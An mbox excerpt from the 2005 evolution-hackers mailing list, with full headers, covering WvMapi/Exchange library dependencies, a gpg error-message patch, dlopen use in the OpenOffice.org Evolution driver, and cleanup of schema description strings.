--=-syKyYvBR7NqTnejbcyU5-- From pcolijn@gmail.com Wed Feb 2 16:24:09 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 7767712506B; Wed, 2 Feb 2005 16:24:09 -0500 (EST) Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.197]) by lists.ximian.com (Postfix) with ESMTP id DD64E12441F for ; Wed, 2 Feb 2005 16:23:57 -0500 (EST) Received: by wproxy.gmail.com with SMTP id 58so120644wri for ; Wed, 02 Feb 2005 13:23:57 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=GPnpzpRI4RqU7FNqHDeL9fZX318mdsIoVY7EzJLgAIXK+/0CRouMbSBXkJMj0HrVjR9ksoit0OS8bo5jbx9yuZ/+V/YEw/hoIfKntWYvXSzY+3NBQDgRCjNqReCVYdDJy0owHBwFyFR5jsT55ivpJQssIfpa+N504iaJbeuCIO8= Received: by 10.54.28.80 with SMTP id b80mr200839wrb; Wed, 02 Feb 2005 13:22:45 -0800 (PST) Received: by 10.54.54.67 with HTTP; Wed, 2 Feb 2005 13:22:43 -0800 (PST) Message-ID: <7c35b00e050202132272ff306d@mail.gmail.com> Date: Wed, 2 Feb 2005 13:22:43 -0800 From: Peter Colijn Reply-To: Peter Colijn To: Luke Kenneth Casson Leighton , evolution-hackers Subject: Fwd: [Evolution-hackers] Exchange 5.5 - network reverse engineering underway (MAPI, Nspi) In-Reply-To: <7c35b00e0502021321607b5bcb@mail.gmail.com> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <20050201150641.GV5707@lkcl.net> <7c35b00e05020113275f998982@mail.gmail.com> <20050202114327.GJ15458@lkcl.net> <200502021555.23422.nocksj@sourcextreme.com> <7c35b00e0502021321607b5bcb@mail.gmail.com> X-Spam-Status: No, hits=-20.5 required=5.0 tests=BAYES_30,EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT, RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM,REFERENCES, REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Meant to send this to the list as well. ---------- Forwarded message ---------- From: Peter Colijn Date: Wed, 2 Feb 2005 13:21:36 -0800 Subject: Re: [Evolution-hackers] Exchange 5.5 - network reverse engineering underway (MAPI, Nspi) To: Jason Nocks Hi, On Wed, 2 Feb 2005 15:55:15 -0500, Jason Nocks wrote: > Yes, sounds very promising. > > This library relies on WvStreams, yes? Any other dependencies? Once upon a time WvMapi used to depend on glib as well, for some string-escaping functions. That dependenecy was removed, but the version currently available at open.nit.ca might still depend on glib. If you email evo-exchangeit-dev@lists.nit.ca somebody could probably help you out getting a more recent copy of WvMapi. Have fun, Peter From koke@amedias.org Wed Feb 2 16:36:46 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 99201124236; Wed, 2 Feb 2005 16:36:46 -0500 (EST) Received: from relay.unizar.es (relay.unizar.es [155.210.11.72]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id D941D1244B7; Wed, 2 Feb 2005 16:36:31 -0500 (EST) Received: from ababol (adsl229-164.unizar.es [155.210.229.164]) by relay.unizar.es (8.12.6/8.12.3) with ESMTP id j12LaEko008431; Wed, 2 Feb 2005 22:36:15 +0100 Received: by ababol (Postfix, from userid 1000) id C6FFC2C31F; Wed, 2 Feb 2005 08:02:53 +0100 (CET) From: Jorge Bernal To: Not Zed Subject: Re: [Evolution-hackers] Re: [evolution-patches] patch for #36142: Don't use acronyms as verbs in messages (camel-gpg-context.c) Date: Wed, 2 Feb 2005 08:02:51 +0100 User-Agent: KMail/1.7.2 Cc: evolution-hackers@lists.ximian.com, evolution-patches References: <200501241907.02376.koke@amedias.org> <200501312053.36697.koke@amedias.org> <1107313276.9865.51.camel@lostzed.mmc.com.au> In-Reply-To: <1107313276.9865.51.camel@lostzed.mmc.com.au> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Disposition: inline Message-Id: <200502020802.53023.koke@amedias.org> X-Mail-Scanned: Criba 2.0 + Clamd en Unizar X-Spam-Status: No, hits=-18.8 required=5.0 tests=IN_REP_TO,QUOTED_EMAIL_TEXT,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES, USER_AGENT_KMAIL autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: El Mi=E9rcoles 02 Febrero 2005 04:01, Not Zed escribi=F3: > I followed up on the bug yesterday. While fixing another bug, I > noticed that the error code really is only for system i/o errors - and > yet, in all other cases system errors do not contain this extra detail > at all. So I simply removed the specific errors and use the generic > 'execution failed' + strerror one. This is to help save the translators > some work, since the info was quite redundant anyway. > > So, sorry about having to discard your patch, but I think the new > solution is a lot simpler/cleaner and suitable in the long run. > No problem at all, I think it's a better solution :) =2D-=20 Jorge Bernal "Koke" Personal: koke@sindominio.net Jabber: koke@zgzjabber.ath.cx Blog: http://www.amedias.org/koke/ "Computer Science is no more about computers than astronomy is about=20 telescopes." - Edsger Dijkstra From nocksj@sourcextreme.com Wed Feb 2 15:45:36 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 75B131241AE; Wed, 2 Feb 2005 15:45:36 -0500 (EST) Received: from darkstar.nocks.com (dsl-207-245-69-6.cust.oldcity.dca.net [207.245.69.6]) (using TLSv1 with cipher RC4-SHA (128/128 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id A58AC124453 for ; Wed, 2 Feb 2005 15:45:24 -0500 (EST) Received: from dsl-207-245-69-126.cust.oldcity.dca.net ([207.245.69.126] helo=[192.168.1.105]) by darkstar.nocks.com with asmtp (TLS-1.0:RSA_ARCFOUR_MD5:16) (Exim 4.34) id 1CwRCw-0001So-5P; Wed, 02 Feb 2005 15:34:38 -0500 From: Jason Nocks Organization: SourceXtreme, Inc. To: Luke Kenneth Casson Leighton Subject: Re: [Evolution-hackers] Exchange 5.5 - network reverse engineering underway (MAPI, Nspi) Date: Wed, 2 Feb 2005 15:55:15 -0500 User-Agent: KMail/1.7.1 Cc: Peter Colijn , evolution-hackers@lists.ximian.com References: <20050201150641.GV5707@lkcl.net> <7c35b00e05020113275f998982@mail.gmail.com> <20050202114327.GJ15458@lkcl.net> In-Reply-To: <20050202114327.GJ15458@lkcl.net> MIME-Version: 1.0 Content-Type: multipart/signed; boundary="nextPart2248404.zFpTrKgvHN"; protocol="application/pgp-signature"; micalg=pgp-sha1 Content-Transfer-Encoding: 7bit Message-Id: <200502021555.23422.nocksj@sourcextreme.com> X-Spam-Status: No, hits=-33.2 required=5.0 tests=BAYES_30,EMAIL_ATTRIBUTION,IN_REP_TO,PGP_SIGNATURE_2, QUOTED_EMAIL_TEXT,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM, REFERENCES,REPLY_WITH_QUOTES,USER_AGENT_KMAIL autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --nextPart2248404.zFpTrKgvHN Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline On Wednesday 02 February 2005 06:43 am, Luke Kenneth Casson Leighton wrote: > On Tue, Feb 01, 2005 at 01:27:27PM -0800, Peter Colijn wrote: > > Yeah, there are a lot of TNEF parsers :) > > > > As far as I know, WvMapi is one of the rare libraries that can > > actually encode TNEFs for you, as well as extracting data from them. > > oooooo goooood. Yes, sounds very promising. This library relies on WvStreams, yes? Any other dependencies? Cheers, Jason Nocks --nextPart2248404.zFpTrKgvHN Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQBCAT473CryLfCgqRkRAvckAKCIyohnOD00XHyvCfhuz+6C0SqASgCfQ7of n3ZnxcSEFk9ygt79RRpmqt8= =EPHO -----END PGP SIGNATURE----- --nextPart2248404.zFpTrKgvHN-- From owner-evolution-hackers@skeptopotamus.ximian.com Thu Feb 3 09:45:32 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 0A515124BAA; Thu, 3 Feb 2005 09:45:31 -0500 (EST) Received: from skeptopotamus.ximian.com (skeptopotamus.ximian.com [130.57.169.16]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "mail.cam.novell.com", Issuer "Equifax" (not verified)) by lists.ximian.com (Postfix) with ESMTP id 6C052125166 for ; Thu, 3 Feb 2005 09:44:17 -0500 (EST) Received: by skeptopotamus.ximian.com (Postfix) id E49ED64840; Thu, 3 Feb 2005 09:43:11 -0500 (EST) Delivered-To: evolution-hackers@ximian.com Received: from brmea-mail-3.sun.com (brmea-mail-3.Sun.COM [192.18.98.34]) by skeptopotamus.ximian.com (Postfix) with ESMTP id A6A0764832 for ; Thu, 3 Feb 2005 09:43:11 -0500 (EST) Received: from phys-mayi-1 ([129.157.128.114]) by brmea-mail-3.sun.com (8.12.10/8.12.9) with ESMTP id j13Eh9W2013582 for ; Thu, 3 Feb 2005 07:43:11 -0700 (MST) Received: from conversion-daemon.mayi-mail1.germany.sun.com by mayi-mail1.germany.sun.com (iPlanet Messaging Server 5.2 HotFix 1.24 (built Dec 19 2003)) id <0IBC00L01BDKN6@mayi-mail1.germany.sun.com> (original mail from Frank.Schoenheit@Sun.COM) for evolution-hackers@ximian.com; Thu, 03 Feb 2005 15:43:09 +0100 (MET) Received: from [129.157.136.31] (sr-eham02-02.Germany.Sun.COM [129.157.136.31]) by mayi-mail1.germany.sun.com (iPlanet Messaging Server 5.2 HotFix 1.24 (built Dec 19 2003)) with ESMTPA id <0IBC0044IBJWED@mayi-mail1.germany.sun.com>; Thu, 03 Feb 2005 15:43:09 +0100 (MET) Date: Thu, 03 Feb 2005 16:43:08 +0200 From: =?ISO-8859-1?Q?Frank_Sch=F6nheit?= In-reply-to: <1107254982.12881.18.camel@linux.site> To: michael.meeks@novell.com Cc: Jayant Balraj Madavi , JP Rosevear , evolution Message-id: <4202387C.2010907@sun.com> MIME-version: 1.0 Content-type: text/plain; charset=ISO-8859-1 Content-transfer-encoding: 8BIT X-Accept-Language: en-us, en User-Agent: Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.7.3) Gecko/20040919 References: <1106914234.16399.349.camel@linux.site> <41FE3664.5030401@sun.com> <1107254982.12881.18.camel@linux.site> X-Spam-Status: No, hits=-20.3 required=5.0 tests=BAYES_30,IN_REP_TO,QUOTED_EMAIL_TEXT,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES, USER_AGENT_MOZILLA_UA autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] Re: dlopen / API hooks for evolution ... Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Hi Michael, > I suggest we make it easy to disable the evoution2.0 integration, and > have it default disabled in the build until such time as you want it > built & can be bothered to do this extra, unpleasant work. I talked with again with RE, and it seems we had a misunderstanding (cause by my ignorance/nescience :-\ ). I think the solution with adding a switch to enable/disable the feature is fine, you should just ensure that it follows the usual mechanisms, i.e. create a configure switch, and check the availability of the pre-requisites during configure. Thanks & Ciao Frank -- - Frank Schönheit, Software Engineer frank.schoenheit@sun.com - - Sun Microsystems, Inc. http://www.sun.com - - OpenOffice.org Database Access http://dba.openoffice.org - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - From owner-evolution-hackers@skeptopotamus.ximian.com Thu Feb 3 23:52:05 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 296541240E5; Thu, 3 Feb 2005 23:52:05 -0500 (EST) Received: from skeptopotamus.ximian.com (skeptopotamus.ximian.com [130.57.169.16]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "mail.cam.novell.com", Issuer "Equifax" (not verified)) by lists.ximian.com (Postfix) with ESMTP id AD90D12468D for ; Thu, 3 Feb 2005 23:51:53 -0500 (EST) Received: by skeptopotamus.ximian.com (Postfix) id 73E5263070; Thu, 3 Feb 2005 23:51:53 -0500 (EST) Delivered-To: evolution-hackers@ximian.com Received: from BLR-DSMASTER.BLR.NOVELL.COM (unknown [202.144.86.147]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "blr-dsmaster", Issuer "ISPORTAL" (not verified)) by skeptopotamus.ximian.com (Postfix) with ESMTP id F0C7E630BF for ; Thu, 3 Feb 2005 23:51:51 -0500 (EST) Received: from [164.99.152.104] (linux00065b7dc215.blr.novell.com [164.99.152.104]) by BLR-DSMASTER.BLR.NOVELL.COM; Fri, 04 Feb 2005 10:21:30 +0530 From: jayant M To: michael.meeks@novell.com Cc: Frank =?ISO-8859-1?Q?Sch=F6nheit?= , JP Rosevear , evolution In-Reply-To: <4202387C.2010907@sun.com> References: <1106914234.16399.349.camel@linux.site> <41FE3664.5030401@sun.com> <1107254982.12881.18.camel@linux.site> <4202387C.2010907@sun.com> Content-Type: text/plain; charset=UTF-8 Date: Fri, 04 Feb 2005 10:18:59 +0530 Message-Id: <1107492539.21175.16.camel@linux.site> Mime-Version: 1.0 X-Mailer: Evolution 1.5.94.1 Content-Transfer-Encoding: 8bit X-Spam-Status: No, hits=-21.1 required=5.0 tests=BAYES_30,EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT, QUOTE_TWICE_1,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM, REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] Re: dlopen / API hooks for evolution ... Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Hi Michael, On Thu, 2005-02-03 at 16:43 +0200, Frank Schönheit wrote: > Hi Michael, > > > I suggest we make it easy to disable the evoution2.0 integration, and > > have it default disabled in the build until such time as you want it > > built & can be bothered to do this extra, unpleasant work. > > I talked with again with RE, and it seems we had a misunderstanding > (cause by my ignorance/nescience :-\ ). I think the solution with adding > a switch to enable/disable the feature is fine, you should just ensure > that it follows the usual mechanisms, i.e. create a configure switch, > and check the availability of the pre-requisites during configure. We had earlier created "dlopen hack" for evo-lib dependancy. Can we remove it now!! Having a configure switch is clean. > > Thanks & Ciao > Frank > Regards, Jayant. From jpr@novell.com Fri Feb 4 15:39:19 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id F022C124903; Fri, 4 Feb 2005 15:39:19 -0500 (EST) Received: from lyle.provo.novell.com (lyle.provo.novell.com [137.65.81.174]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "imap.novell.com", Issuer "SERVICES2" (not verified)) by lists.ximian.com (Postfix) with ESMTP id 4E7EF124D3E for ; Fri, 4 Feb 2005 15:39:08 -0500 (EST) Received: from [192.168.1.15] ([137.65.81.216]) by lyle.provo.novell.com; Fri, 04 Feb 2005 13:38:51 -0700 From: JP Rosevear To: Evolution Hackers mailing list Cc: Gnome-i18n@gnome.org Content-Type: text/plain Date: Fri, 04 Feb 2005 12:27:52 -0500 Message-Id: <1107538072.7848.26.camel@bishop.rosevear.com> Mime-Version: 1.0 X-Mailer: Evolution 2.1.4 Content-Transfer-Encoding: 7bit X-Spam-Status: Yes, hits=8.5 required=5.0 tests=BAYES_60,DATE_IN_PAST_03_06,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM version=2.53 X-Spam-Level: ******** X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) X-Spam-Report: X-Spam-Flag: YES Subject: [Evolution-hackers] Schema file issues Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: When looking at 61075 I noticed some inconsistency/issues with our schema files. I also looked at how we compared to the "de facto" style guide in: http://mail.gnome.org/archives/gnome-i18n/2003-July/msg00076.html Our long descriptions generally end in periods. Literal values are sometimes in quotes (but not always, useful tweak since the translators official guide actually says not to translate those quoted values for schemas). The descriptions all begin capitalized, but captalization after the first word is sometimes inconsistent (mostly we use lower case after the first word). We don't match the terminology in the UI in some cases, mostly it appears to be a legacy thing where we matched the description to the key name instead (which may or may not match the UI now). We use "If" in a couple places and "Whether" in more and for a lot of booleans we use neither. So, my original task morphed somewhat and I ended up tidying up the contacts, calendar and shell schema files (and cropped up some additional issues below), I started on the mailer but it has more than the other three combined so I started to get worried about the number of string changes this might involve total, so I'm CC'ing the gnome-i18n team as well. Comments? There are also some dead keys in some of the files that we only use when migrating now. I think removing them from the schema is not an issue, anyone think otherwise (/apps/evolution/shell/offline/folder_paths is an example). There are also 3 autocompletion schema entries in the addressbook schema file. I suspect we actually might want these in libedataserverui. Not sure where the keys should live (one key is actually dead other than for migration actually). Also, unless anyone objects, I'm going to make evolution-mail.schemas.in.in be consistent with the other schema file namings in the source tree. -JP -- JP Rosevear From notzed@ximian.com Fri Feb 4 20:15:20 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 6AFE5124A5B; Fri, 4 Feb 2005 20:15:20 -0500 (EST) Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 0AD01124408 for ; Fri, 4 Feb 2005 20:15:09 -0500 (EST) Received: (qmail 26122 invoked from network); 5 Feb 2005 01:15:07 -0000 Received: from localhost (HELO ?192.168.0.100?) (127.0.0.1) by localhost with SMTP; 5 Feb 2005 01:15:07 -0000 Subject: Re: [Evolution-hackers] Schema file issues From: Not Zed To: JP Rosevear Cc: Evolution Hackers mailing list , Gnome-i18n@gnome.org In-Reply-To: <1107538072.7848.26.camel@bishop.rosevear.com> References: <1107538072.7848.26.camel@bishop.rosevear.com> Content-Type: multipart/alternative; boundary="=-DZSYS1RAtvJmTgWFgiS+" Date: Sat, 05 Feb 2005 09:10:03 +0800 Message-Id: <1107565803.26413.16.camel@lostzed.mmc.com.au> Mime-Version: 1.0 X-Mailer: Evolution 2.1.3.2 X-Spam-Status: No, hits=-17.3 required=5.0 tests=EMAIL_ATTRIBUTION,HTML_20_30,IN_REP_TO,QUOTED_EMAIL_TEXT, RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM,REFERENCES, REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-DZSYS1RAtvJmTgWFgiS+ Content-Type: text/plain Content-Transfer-Encoding: 7bit My opinion is 'who cares', its only for the registry editor, which shouldn't ever be being used anyway, if all things are working properly. On Fri, 2005-02-04 at 12:27 -0500, JP Rosevear wrote: > When looking at 61075 I noticed some inconsistency/issues with our > schema files. I also looked at how we compared to the "de facto" style > guide in: > http://mail.gnome.org/archives/gnome-i18n/2003-July/msg00076.html > > Our long descriptions generally end in periods. Literal values are > sometimes in quotes (but not always, useful tweak since the translators > official guide actually says not to translate those quoted values for > schemas). The descriptions all begin capitalized, but captalization > after the first word is sometimes inconsistent (mostly we use lower case > after the first word). We don't match the terminology in the UI in some > cases, mostly it appears to be a legacy thing where we matched the > description to the key name instead (which may or may not match the UI > now). We use "If" in a couple places and "Whether" in more and for a > lot of booleans we use neither. > > So, my original task morphed somewhat and I ended up tidying up the > contacts, calendar and shell schema files (and cropped up some > additional issues below), I started on the mailer but it has more than > the other three combined so I started to get worried about the number of > string changes this might involve total, so I'm CC'ing the gnome-i18n > team as well. > > Comments? > > There are also some dead keys in some of the files that we only use when > migrating now. I think removing them from the schema is not an issue, > anyone think otherwise (/apps/evolution/shell/offline/folder_paths is an > example). > > There are also 3 autocompletion schema entries in the addressbook schema > file. I suspect we actually might want these in libedataserverui. Not > sure where the keys should live (one key is actually dead other than for > migration actually). > > Also, unless anyone objects, I'm going to make > evolution-mail.schemas.in.in be consistent with the other schema file > namings in the source tree. > > -JP --=-DZSYS1RAtvJmTgWFgiS+ Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 7bit
My opinion is 'who cares', its only for the registry editor, which shouldn't ever be being used anyway, if all things are working properly.


On Fri, 2005-02-04 at 12:27 -0500, JP Rosevear wrote: 
When looking at 61075 I noticed some inconsistency/issues with our
schema files.  I also looked at how we compared to the "de facto" style
guide in:
http://mail.gnome.org/archives/gnome-i18n/2003-July/msg00076.html

Our long descriptions generally end in periods.  Literal values are
sometimes in quotes (but not always, useful tweak since the translators
official guide actually says not to translate those quoted values for
schemas).  The descriptions all begin capitalized, but captalization
after the first word is sometimes inconsistent (mostly we use lower case
after the first word).  We don't match the terminology in the UI in some
cases, mostly it appears to be a legacy thing where we matched the
description to the key name instead (which may or may not match the UI
now).  We use "If" in a couple places and "Whether" in more and for a
lot of booleans we use neither.

So, my original task morphed somewhat and I ended up tidying up the
contacts, calendar and shell schema files (and cropped up some
additional issues below), I started on the mailer but it has more than
the other three combined so I started to get worried about the number of
string changes this might involve total, so I'm CC'ing the gnome-i18n
team as well.

Comments?

There are also some dead keys in some of the files that we only use when
migrating now.  I think removing them from the schema is not an issue,
anyone think otherwise (/apps/evolution/shell/offline/folder_paths is an
example).

There are also 3 autocompletion schema entries in the addressbook schema
file.  I suspect we actually might want these in libedataserverui.  Not
sure where the keys should live (one key is actually dead other than for
migration actually).

Also, unless anyone objects, I'm going to make
evolution-mail.schemas.in.in be consistent with the other schema file
namings in the source tree.

-JP
--=-DZSYS1RAtvJmTgWFgiS+-- From owner-evolution-hackers@skeptopotamus.ximian.com Fri Feb 4 03:50:05 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 2F1511241AD; Fri, 4 Feb 2005 03:50:04 -0500 (EST) Received: from skeptopotamus.ximian.com (skeptopotamus.ximian.com [130.57.169.16]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "mail.cam.novell.com", Issuer "Equifax" (not verified)) by lists.ximian.com (Postfix) with ESMTP id 20D16124192 for ; Fri, 4 Feb 2005 03:49:53 -0500 (EST) Received: by skeptopotamus.ximian.com (Postfix) id EF28664648; Fri, 4 Feb 2005 03:40:05 -0500 (EST) Delivered-To: evolution-hackers@ximian.com Received: from brmea-mail-3.sun.com (brmea-mail-3.Sun.COM [192.18.98.34]) by skeptopotamus.ximian.com (Postfix) with ESMTP id C2C2264647 for ; Fri, 4 Feb 2005 03:40:05 -0500 (EST) Received: from phys-mayi-1 ([129.157.128.114]) by brmea-mail-3.sun.com (8.12.10/8.12.9) with ESMTP id j148e2W6019822 for ; Fri, 4 Feb 2005 01:40:05 -0700 (MST) Received: from conversion-daemon.mayi-mail1.germany.sun.com by mayi-mail1.germany.sun.com (iPlanet Messaging Server 5.2 HotFix 1.24 (built Dec 19 2003)) id <0IBD00801P8N6R@mayi-mail1.germany.sun.com> (original mail from Frank.Schoenheit@Sun.COM) for evolution-hackers@ximian.com; Fri, 04 Feb 2005 09:40:02 +0100 (MET) Received: from [129.157.136.31] (sr-eham02-02.Germany.Sun.COM [129.157.136.31]) by mayi-mail1.germany.sun.com (iPlanet Messaging Server 5.2 HotFix 1.24 (built Dec 19 2003)) with ESMTPA id <0IBD00BZVPEQFA@mayi-mail1.germany.sun.com>; Fri, 04 Feb 2005 09:40:02 +0100 (MET) Date: Fri, 04 Feb 2005 10:40:02 +0200 From: =?UTF-8?B?IkZyYW5rIFNjaMO2bmhlaXQgLSBTdW4gTWljcm9zeXN0ZW1zLCBJbmMuIg==?= In-reply-to: <1107492539.21175.16.camel@linux.site> To: jayant M Cc: michael.meeks@novell.com, JP Rosevear , evolution Message-id: <420334E2.1010806@sun.com> MIME-version: 1.0 Content-type: text/plain; charset=UTF-8 Content-transfer-encoding: 8BIT X-Accept-Language: en-us, en User-Agent: Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.7.3) Gecko/20040919 References: <1106914234.16399.349.camel@linux.site> <41FE3664.5030401@sun.com> <1107254982.12881.18.camel@linux.site> <4202387C.2010907@sun.com> <1107492539.21175.16.camel@linux.site> X-Spam-Status: No, hits=-16.5 required=5.0 tests=BAYES_70,IN_REP_TO,QUOTED_EMAIL_TEXT,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES, USER_AGENT_MOZILLA_UA autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] Re: dlopen / API hooks for evolution ... Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Hi Jayant, > We had earlier created "dlopen hack" for evo-lib dependancy. Can we > remove it now!! For the evo-lib, I don't consider usage of dlopen a hack. This is because for a given system, it's more likely for glib to be present than the evo lib. If we link the driver against the evo lib, then there is no diagnostics possibility on a system without evo, since the driver will simply not load at runtime. If we don't link against the evo lib, then the driver can at least be loaded, and has more possiblities to give the user a reasonable feedback when she attempts a connection. To the user, this might be the difference between "Evolution does not appear in the UI at all, so I don't even know about it", and "when I select Evolution, it gives me a message like 'No suitable Evolution version was found'". This may not sounds too much, but personally I'd consider it worth it :) (the more since the code is already there now.) Not to mention that before glibc 2.2.5, there's a bug in the library loader which causes subsequent calls to dlopen to *crash*, if you had one call which failed. So the more likely any library fails to load, the more likely OOo will crash a minute later. Ciao Frank -- - Frank Schönheit, Software Engineer frank.schoenheit@sun.com - - Sun Microsystems, Inc. http://www.sun.com - - OpenOffice.org Database Access http://dba.openoffice.org - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - From danilo@gnome.org Fri Feb 4 16:58:25 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id ECE07124A00; Fri, 4 Feb 2005 16:58:24 -0500 (EST) Received: from avet.kvota.net (unknown [147.91.15.35]) by lists.ximian.com (Postfix) with ESMTP id 6BB6E124D57 for ; Fri, 4 Feb 2005 16:58:12 -0500 (EST) Received: by avet.kvota.net (Postfix, from userid 1000) id 5E3E07CDDA; Fri, 4 Feb 2005 23:00:18 +0100 (CET) To: JP Rosevear Cc: Evolution Hackers mailing list , Gnome-i18n@gnome.org References: <1107538072.7848.26.camel@bishop.rosevear.com> From: danilo@gnome.org (=?utf-8?q?Danilo_=C5=A0egan?=) Mail-Followup-To: JP Rosevear , Evolution Hackers mailing list , Gnome-i18n@gnome.org Date: Fri, 04 Feb 2005 23:00:18 +0100 In-Reply-To: <1107538072.7848.26.camel@bishop.rosevear.com> (JP Rosevear's message of "Fri, 04 Feb 2005 12:27:52 -0500") Message-ID: <874qgsyoi5.fsf@avet.kvota.net> User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Status: No, hits=-24.0 required=5.0 tests=BAYES_60,EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT, RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM,REFERENCES, REPLY_WITH_QUOTES,USER_AGENT_GNUS_UA autolearn=ham version=2.53 